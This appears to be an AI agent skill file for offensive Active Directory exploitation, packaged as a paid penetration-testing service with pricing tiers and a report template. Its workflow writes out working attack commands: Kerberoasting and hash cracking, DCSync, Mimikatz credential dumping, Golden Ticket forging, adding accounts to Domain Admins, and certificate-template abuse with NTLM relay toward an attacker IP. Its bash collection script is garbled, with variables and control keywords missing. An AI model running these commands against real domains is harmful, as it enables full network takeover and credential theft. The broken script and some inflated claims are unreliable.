ad-killer

name	ad-killer
description	Active Directory and Windows domain exploitation for enterprise penetration testing. Use when attacking Windows domains, exploiting AD misconfigurations, or performing lateral movement in enterprise environments.
domain	cybersecurity
author	oyi77
license	Apache-2.0
subdomain	general-cybersecurity
tags	["ad","active-directory","cybersecurity","exploitation","killer","lateral-movement","money","penetration-testing","red-team","security","testing","threat-defense","windows"]
version	1.0.0

Ad Killer

Overview

Compromise Windows Active Directory domains from low-privileged domain user to Domain Admin. Covers the full AD exploitation kill chain: reconnaissance with BloodHound, credential harvesting via Kerberoasting and DCSync, ACL abuse path climbing, ADCS certificate escalation (ESC1-ESC8), and post-exploitation lateral movement across the domain. Every technique maps to MITRE ATT&CK tactics (TA0006 Credential Access, TA0008 Lateral Movement, TA0004 Privilege Escalation).

This skill turns a foothold on one workstation into complete domain compromise, then translates that capability into paid AD penetration testing services for enterprise clients.

When to Use

Trigger phrases:

• "Active Directory penetration test" / "AD security assessment"
• "Domain privilege escalation" / "BloodHound attack path analysis"
• "Kerberoasting / DCSync / ADCS exploitation"
• "Lateral movement in Windows domains"

Scenarios:

• Authorized internal pentest against a Windows domain
• Post-exploitation after gaining initial access to a domain-joined workstation
• AD security audit for compliance (PCI DSS 4.0, SOC 2, ISO 27001)
• Purple team exercise validating AD detection controls
• Ransomware simulation — test if AD misconfigurations accelerate lateral spread

When NOT to Use

• Without signed authorization (ROE document) from the domain owner
• On production domain controllers without prior change management approval
• When the test scope explicitly excludes AD infrastructure
• When you are inside a law enforcement or military AD environment without special written approval
• When the goal is long-term persistence or data theft rather than demonstrating compromise paths

Money-Making Overview

Buyer persona: CISOs and IT directors at mid-market enterprises (200-5,000 employees) who know Active Directory is the backbone of their security but have never had it professionally attacked. These organizations run on AD but have unpatched domain controllers, legacy trusts, weak service account passwords, and misconfigured ACLs. They need to see how a real attacker would move from a workstation to Domain Admin before a ransomware group shows them.

What they'll pay for: Technical proof that their AD is (or isn't) resilient against common domain escalation paths. BloodHound attack path maps with supporting evidence, Kerberoastable service account inventory, ADCS ESC findings with Certipy output, and clear fix guidance that IT can action.

Pricing tiers (service model):

Tier	Price	Scope	Deliverable	Timeline
AD Health Scan	$500	Remote — domain user credentials provided. Run BloodHound collector + automated Impacket checks. No exploitation.	Attack path summary (top 5 risks, 20-path heatmap) + service account hygiene report	2 days
AD Penetration Test	$2,500	On-site or VPN. Start from standard domain user. Full exploitation path including Kerberoasting, AS-REP, ACL abuse, DCSync, ADCS.	Full report with exploit walkthrough videos, BloodHound JSON, evidence zip, remediation plan by severity	1 week
AD Purple Team	$5,000	On-site. Red team emulates APT-style AD attack chain while blue team defends. Includes detection gap analysis.	Executive summary + technical report + MITRE ATT&CK heatmap + detection rule pack (Sigma/Splunk)	2 weeks

First-dollar timeline: Deliver AD Health Scan within 48 hours of receiving credentials. Use findings as upsell to full Penetration Test. Typical close rate: 40% of Health Scan clients convert within 30 days.

First Action in 60 Minutes

Run this script from your Kali VM to collect BloodHound data and run initial attack path analysis. It requires domain user credentials (low-privilege is fine) and the domain controller hostname or IP.

#!/bin/bash
# ad-sweep.sh — BloodHound collection + attack path analysis
# Usage: ./ad-sweep.sh <domain> <dc-ip> <username>
# Example: ./ad-sweep.sh corp.local 192.168.1.10 john

set -euo pipefail

DOMAIN="${1:?Usage: $0 <domain> <dc-ip> <username>}"
DC_IP="${2:?Usage: $0 <domain> <dc-ip> <username>}"
USER="${3:?Usage: $0 <domain> <dc-ip> <username>}"
OUTDIR="ad-report-$DOMAIN-$(date +%Y%m%d-%H%M)"
PASS=""

read -rsp "[?] Password for $DOMAIN\\$USER: " PASS
echo

mkdir -p "$OUTDIR"

# ──────────────────────────────────────────────────────────────
# Phase 1: BloodHound data collection via SharpHound + Python
# ──────────────────────────────────────────────────────────────

echo "[*] Phase 1: Collecting BloodHound data..."

# Option A: SharpHound via Python impacket (no Windows needed)
if command -v bloodhound-python &>/dev/null; then
    echo "[*] Using bloodhound-python..."
    bloodhound-python -d "$DOMAIN" -dc "$DC_IP" -u "$USER" -p "$PASS" \
        -ns "$DC_IP" --dns-tcp -c All --zip -o "$OUTDIR/bloodhound"



 [ -f ./SharpHound.exe ]; 
     
     






 

python3 << 





 
 

impacket-GetUserSPNs -request -dc-ip   \
    -outputfile  2>&1 |  -5

 [ -s  ]; 
     

    
    GetUserSPNs.py  -dc-ip  -request \
        2>/dev/null > 
     






 
 

crackmapexec smb  -u  -p  -d  \
    --shares 2>/dev/null |  

crackmapexec smb  -u  -p  -d  \
    --sessions 2>/dev/null |  


crackmapexec smb  2>/dev/null |  





 
 

  -v bloodhound-analytics &>/dev/null; 
    
    BH_FILE=$(find  -name  |  -1)
     [ -n  ]; 
         
        bloodhound-analytics -db  2>/dev/null || 
    






 
 
 
 
 
 
 
 
 
 
 
 
 
 

What to do next: Import the BloodHound ZIP file from $OUTDIR/bloodhound/ into the BloodHound CE GUI (ensure neo4j is running). Run these Cypher queries immediately:

// Shortest paths from owned users to Domain Admins
MATCH p=shortestPath((n)-[:MemberOf|HasSession|AdminTo|AllExtendedRights|GenericAll|WriteDACL|WriteOwner|Owns|ForceChangePassword|AddMember|Contains|GpLink|AllowedToDelegate|TrustedBy|CanRDP|ExecuteDCOM*1..]->(m:Group {name:'DOMAIN [e-mail]'})) RETURN p

// Find kerberoastable users with shortest path
MATCH (u:User {hasspn:true}) RETURN u.name, u.samaccountname

// Find AS-REP roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.samaccountname

// Find all users with admin sessions on high-value targets
MATCH (u:User)-[:HasSession]->(c:Computer)-[:AdminTo|MemberOf|Contains|GpLink*1..]->(g:Group {name:'DOMAIN [e-mail]'}) RETURN u.name, c.name

Follow each path to its root cause (an ACL permission, a group membership, a session), document the evidence, and add it to the deliverable report.

Prerequisites

• Kali Linux or Parrot OS with: impacket, bloodhound-python, neo4j, crackmapexec, hashcat, ldap3 (Python)
• Domain credentials (low-privilege domain user account — you don't need admin rights to enumerate most AD attack paths)
• Network access to domain controller on ports 389 (LDAP), 88 (Kerberos), 445 (SMB)
• Python packages: ldap3, bloodhound, impacket (pip install ldap3 bloodhound impacket)
• BloodHound CE and neo4j (for graph analysis)
• Tools to have on hand: Certipy (ADCS), Rubeus (Kerberos), Mimikatz (LSASS), PKINITtools (Kerberos PKINIT)

Tools

Tool	Purpose	Kali Package
BloodHound-Python	BloodHound collector without Windows	bloodhound.py (pip)
Impacket	Kerberoasting, DCSync, PSExec, WMIExec	impacket-scripts
CrackMapExec	SMB/RDP/WMI/LDAP assessment	crackmapexec
Certipy	ADCS exploitation (ESC1-8)	certipy-ad (pip)
ldap3	Python LDAP queries	python3-ldap3
hashcat	GPU-accelerated password cracking (RTX 2060 SUPER)	hashcat
neo4j	BloodHound graph database	neo4j
Rubeus	Kerberos ticket manipulation	Upload to target
Mimikatz	LSASS credential extraction	Upload to target
PKINITtools	Kerberos PKINIT / AS-REP with PKCS12	pip / upload

Workflow

Phase 1: Reconnaissance & Collection

1. Enumerate domain — Query LDAP for domain info, users, groups, computers, trusts, GPOs, OUs
2. Collect BloodHound data — Run bloodhound-python -c All to gather nodes and edges
3. Identify low-hanging fruit — Check for null sessions, anonymous LDAP binds, SMB null sessions
4. Enumerate Kerberos — Dump SPNs for Kerberoast candidates, flag accounts without pre-auth (AS-REP)
5. Check ADCS — Run certipy find to map certificate templates and ESC vulnerabilities
6. Map trusts — Enumerate inter-forest and intra-forest trusts, SID filtering status

Phase 2: Credential Access

1. Kerberoast — impacket-GetUserSPNs -request to dump TGS tickets for offline cracking
2. AS-REP Roast — impacket-GetNPUsers against accounts without pre-auth
3. Crack hashes — hashcat -m 13100 kerberoast_tgs.txt rockyou.txt (RTX 2060 SUPER: ~20GH/s on NTLM, ~200kH/s on Kerberos TGS)
4. Password spraying — Test cracked passwords across other accounts via crackmapexec smb
5. DCSync — If you have Domain Admin or Replicating Directory Changes rights: impacket-secretsdump -just-dc DOMAIN/USER@DC_IP

Phase 3: Privilege Escalation (Attack Path Climbing)

For each attack path found by BloodHound, execute the corresponding technique:

BloodHound Edge	Technique	Command
ForceChangePassword	Reset user password	net user /domain /active:yes TARGET Passw0rd!
GenericAll	Full control of object	add-member -Member TARGET -Group "Domain Admins" or cert template abuse
WriteDACL	Grant self DCSync rights	Add-ADDCRight -Identity Attacker-ADUser -ExtendedRight DS-Replication-Get-Changes
WriteOwner	Take ownership	Set-DomainObjectOwner -Identity TargetGroup -OwnerIdentity Attacker
AddMember	Add to privileged group	net group "Domain Admins" ATTACKER /add
AdminTo	Local admin on target	impacket-psexec DOMAIN/USER@TARGET
HasSession	Credential theft via token	Mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
AllowedToDelegate	Constrained delegation abuse	impacket-getST -spn cifs/TARGET DOMAIN/USER
AddKeyCredentialLink	Shadow Credentials	pywhisker -d DOMAIN -u USER -p PASS -t TARGET -a add
AddSelf	Self-membership escalation	net group "Domain Admins" ATTACKER /add

Phase 4: ADCS Exploitation (if Certificate Services present)

# Find vulnerable templates
certipy find -u "$USER@$DOMAIN" -p "$PASS" -dc-ip "$DC_IP" -stdout

# ESC1 — Low-priv user can enrol in a template that issues as domain admin
certipy req -u "$USER@$DOMAIN" -p "$PASS" -ca CA-SERVER -template ESC1TEMPLATE -upn "administrator@$DOMAIN"

# ESC2/3 — Template allows any purpose (Any Purpose) + enrolment rights
certipy req -u "$USER@$DOMAIN" -p "$PASS" -ca CA-SERVER -template ESC2TEMPLATE

# ESC4 — Low-priv user has WriteOwner/WriteDACL on certificate template
certipy template -u "$USER@$DOMAIN" -p "$PASS" -template VULN_TEMPLATE -save-old

# ESC8 — NTLM relay to AD CS Web Enrollment via Coercion
ntlmrelayx.py -t "http://CA-SERVER/certsrv/certfnsh.asp" -smb2support --adcs
# In another window: PrinterBug coercion against target DC
dementor.py -d DOMAIN -u USER -p PASS ATTACKER_IP TARGET_DC

Phase 5: Lateral Movement & Full Compromise

1. Use cracked credentials — Spray across domain-joined machines via crackmapexec
2. Dump LSASS — Remote Minidump or Mimikatz via WMI/SMB
3. Extract krbtgt hash — impacket-secretsdump -just-dc DOMAIN/ADMIN@DC_IP
4. Golden Ticket — Mimikatz "kerberos::golden /domain:DOMAIN /sid:S-1-5-... /krbtgt:HASH /user:Administrator /ptt"
5. Silver Ticket — Forge service-specific TGS for any machine
6. DCSync — Extract all domain hashes in one command
7. SID History Injection — Add enterprise admin SID to cross-forest trust

Deliverable Format

When delivering an AD penetration test report to a client, use this template:

╔══════════════════════════════════════════════════════════════════════╗
║                  ACTIVE DIRECTORY SECURITY ASSESSMENT                ║
║                     [Client Name] — [Date Range]                    ║
║                        Tier: [Health Scan / Pentest / Purple]       ║
╚══════════════════════════════════════════════════════════════════════╝

1. EXECUTIVE SUMMARY
   ┌─────────────────────────────────────────────────────────────────┐
   │ Started from: DOMAIN\lowprivuser                                │
   │ Achieved:      DOMAIN\Administrator (domain compromise)          │
   │ Time to DA:    4.2 hours                                        │
   │                                                                  │
   │ Attack chain:                                                   │
   │   1. LDAP enumeration -> found Kerberoastable service account    │
   │   2. Cracked SPN hash (hashcat, 12 mins)                        │
   │   3. Service account had GenericAll on HR group                  │
   │   4. HR group member had WriteDACL on Domain Admins              │
   │   5. Added Replication rights -> DCSync -> full domain hash dump │
   │                                                                  │
   │ Risk rating: CRITICAL                                            │
   └─────────────────────────────────────────────────────────────────┘

2. SCOPE
   Domain:          corp.example.com
   Domain Controllers: DC01 (192.168.1.10), DC02 (192.168.1.11)
   Forest:          corp.example.com
   AD Functional Level: Windows Server 2016
   Starting access: Standard domain user (john.doe)

3. ATTACK PATH SUMMARY (top 5)
   ┌──────┬──────────────────────────────────────┬──────────┬──────────┐
   │  #   │ Path Description                     │ Steps    │ Risk     │
   ├──────┼──────────────────────────────────────┼──────────┼──────────┤
   │  1   │ Kerberoast -> svc_sql -> GenericAll   │     3    │ CRITICAL │
   │  2   │ AS-REP -> backup_user -> AdminTo DC01 │     2    │ CRITICAL │
   │  3   │ ESC1 certificate template abuse       │     2    │ HIGH     │
   │  4   │ Constrained delegation on svc_iis     │     3    │ HIGH     │
   │  5   │ DCOM lateral to admin workstation     │     4    │ MEDIUM   │
   └──────┴──────────────────────────────────────┴──────────┴──────────┘

4. BLOODHOUND ATTACK PATH ANALYSIS

   Path #1 — Kerberoasting to Domain Admin (steps 3)
   -------------------------------------------
   [user: john.doe] --MemberOf--> [group: Domain Users]
   [user: john.doe] --HasSession--> [computer: WORKSTATION42]
   [computer: WORKSTATION42] --AdminTo--> [computer: SQLSRV01]
   [user: svc_sql_agent] --HasSession--> [computer: SQLSRV01]
   [user: svc_sql_agent] --MemberOf--> [group: SQL Admins]
   [group: SQL Admins] --GenericAll--> [group: HR Admins]
   [user: hr_admin] --MemberOf--> [group: HR Admins]
   [user: hr_admin] --WriteDACL--> [group: Domain Admins]
   [group: Domain Admins] --Contains--> [user: Administrator]

   Remediation: Remove GenericAll between SQL Admins and HR Admins.
   Rotate svc_sql_agent password (last changed 2022-03-14).

5. SERVICE ACCOUNT HYGIENE
   ┌─────────────────────┬────────┬──────────┬──────────┬────────────┐
   │ Account             │ SPNs   │ Last Pwd │ Cracked? │ Risk Score │
   ├─────────────────────┼────────┼──────────┼──────────┼────────────┤
   │ svc_sql_agent       │   3    │ 2022-03  │   YES    │    9.5     │
   │ svc_backup          │   1    │ 2023-01  │   YES    │    8.0     │
   │ svc_iis_pool        │   5    │ 2024-06  │    NO    │    4.0     │
   │ SRV_JOIN$           │   1    │ 2024-11  │    NO    │    2.0     │
   └─────────────────────┴────────┴──────────┴──────────┴────────────┘

   Total Kerberoastable accounts: 14
   Accounts cracked within 1 hour (rockyou.txt): 3

6. ADCS FINDINGS
   ┌──────┬──────────┬────────────────────────────────────┬────────────┐
   │  #   │ ESC ID   │ Template / Issue                   │ Severity   │
   ├──────┼──────────┼────────────────────────────────────┼────────────┤
   │  1   │ ESC1     │ CorpCertTemplate (enrol: domain     │ CRITICAL   │
   │      │          │ users, EKU: client auth, SAN: edit) │            │
   │  2   │ ESC3     │ CorpEnrollmentAgent                 │ HIGH       │
   │  3   │ ESC8     │ Web enrollment NTLM relay           │ CRITICAL   │
   │  4   │ ESC10    │ Weak certificate mapping            │ MEDIUM     │
   └──────┴──────────┴────────────────────────────────────┴────────────┘

7. TRUST RELATIONSHIPS
   ┌──────────────────────┬──────────┬────────────────────────────────┐
   │ Trust Name           │ Type     │ Risk Assessment                │
   ├──────────────────────┼──────────┼────────────────────────────────┤
   │ corp.example.com     │ Parent   │ SID filtering DISABLED         │
   │   -> ad.acquirer.com │          │ Possible SIDHistory injection  │
   │                      │          │ to escalate to Enterprise Auth │
   └──────────────────────┴──────────┴────────────────────────────────┘

8. RECOMMENDATIONS (by priority)
   ┌──────┬────────────────────────────────────────┬──────────┬────────┐
   │  #   │ Action                                 │ Severity │ Cost   │
   ├──────┼────────────────────────────────────────┼──────────┼────────┤
   │  1   │ Rotate svc_sql_agent password now      │ CRITICAL │ 15 min │
   │  2   │ Disable ESC1 template CorpCertTemplate │ CRITICAL │ 10 min │
   │  3   │ Enable SID filtering on corp->acquirer │ HIGH     │ config │
   │  4   │ Audit service account ACL delegation   │ HIGH     │ 1 hour │
   │  5   │ Deploy LAPS on all workstations        │ MEDIUM   │ 2 days │
   │  6   │ Implement tiered admin model (ESAEA)   │ MEDIUM   │ 2 wks  │
   │  7   │ Enable advanced audit policies + Sysmon │ MEDIUM  │ 1 day  │
   │  8   │ Run quarterly Kerberoast audit         │ LOW      │ 30 min │
   └──────┴────────────────────────────────────────┴──────────┴────────┘

9. APPENDIX
   A. Raw Kerberos TGS tickets (encrypted)
   B. BloodHound JSON graph data
   C. Certipy full output
   D. Cracked password evidence (hashes only, not plaintext)
   E. Complete Impacket log output
   F. Detection rules (Sigma format for Splunk/Sentinel)

LABOR SUMMARY
   Recon & collection:    2.5 hours
   Attack path analysis:  4.0 hours
   ADCS assessment:       2.0 hours

PAYMENT: USDC / Wire / ACH (net 15)

Verification

• BloodHound collector completed with all nodes/edges enumerated and domains mapped
• Kerberoastable accounts identified and TGS tickets captured; AS-REP roastable accounts flagged
• ADCS CA(s) found and templates enumerated with Certipy
• At least one (or documented zero) attack path from starting user to Domain Admin
• DCSync executed to confirm domain compromise
• Every exploit step captured with timestamped evidence (screenshots/logs)
• Recommendations are specific, actionable, and sorted by impact
• No persistence mechanisms left in client environment; credentials handled per ROE
• Report includes raw data appendix for client review

Anti-Rationalization Table

Rationalization	Reality
"We use strong passwords, so Kerberoasting won't work"	Kerberoasting cracks the service account password, not the user's. Most service accounts have auto-generated 20-char passwords set once and never changed for years — and often those passwords ARE in rockyou.txt because the AD installer used a default pattern.
"We have MFA, so credential theft is useless"	MFA protects interactive logon. Kerberos tickets and NTLM hashes are reusable offline — attackers don't need MFA to reuse a stolen ticket. DCSync extracts password hashes without triggering any login event.
"Our AD is patched, so we're immune to these attacks"	AD attacks are 90% configuration abuse, not unpatched CVEs. Kerberoasting, ACL abuse, ADCS misconfigurations (ESC1-8), and delegation abuse all work on fully patched 2025 domain controllers.
"We isolated AD from the internet — internal attacks are unlikely"	Ransomware groups routinely enter via VPN, email phishing, or third-party vendor access. Once inside, they are internal. 80% of breaches involve AD credential abuse from inside the network.
"BloodHound is just for red teams; we don't need it"	BloodHound was designed as a defense tool. Running it proactively shows you the same attack paths an adversary would find. Ignorance is not security — the paths exist whether you look or not.
"Service accounts don't matter — they aren't interactive users"	A Kerberoasted service account with GenericAll on an OU is effectively Domain Admin. Automated service accounts often have wildly excessive ACL permissions because nobody traces delegation chains.
"Our domain is only 200 users — we can't be a target"	Small domains are common targets because they lack dedicated AD security staff. The techniques scale down perfectly: a 200-user domain has the same Kerberos, the same ACLs, and often more dangerous one-person-IT overprivilege.
"We use Azure AD, no on-prem AD to attack"	Hybrid environments sync password hashes via AAD Connect. The on-prem AD Connect server has a privileged account that can compromise the cloud. PTA/gMSA abuse on hybrid identity bridges on-prem to cloud.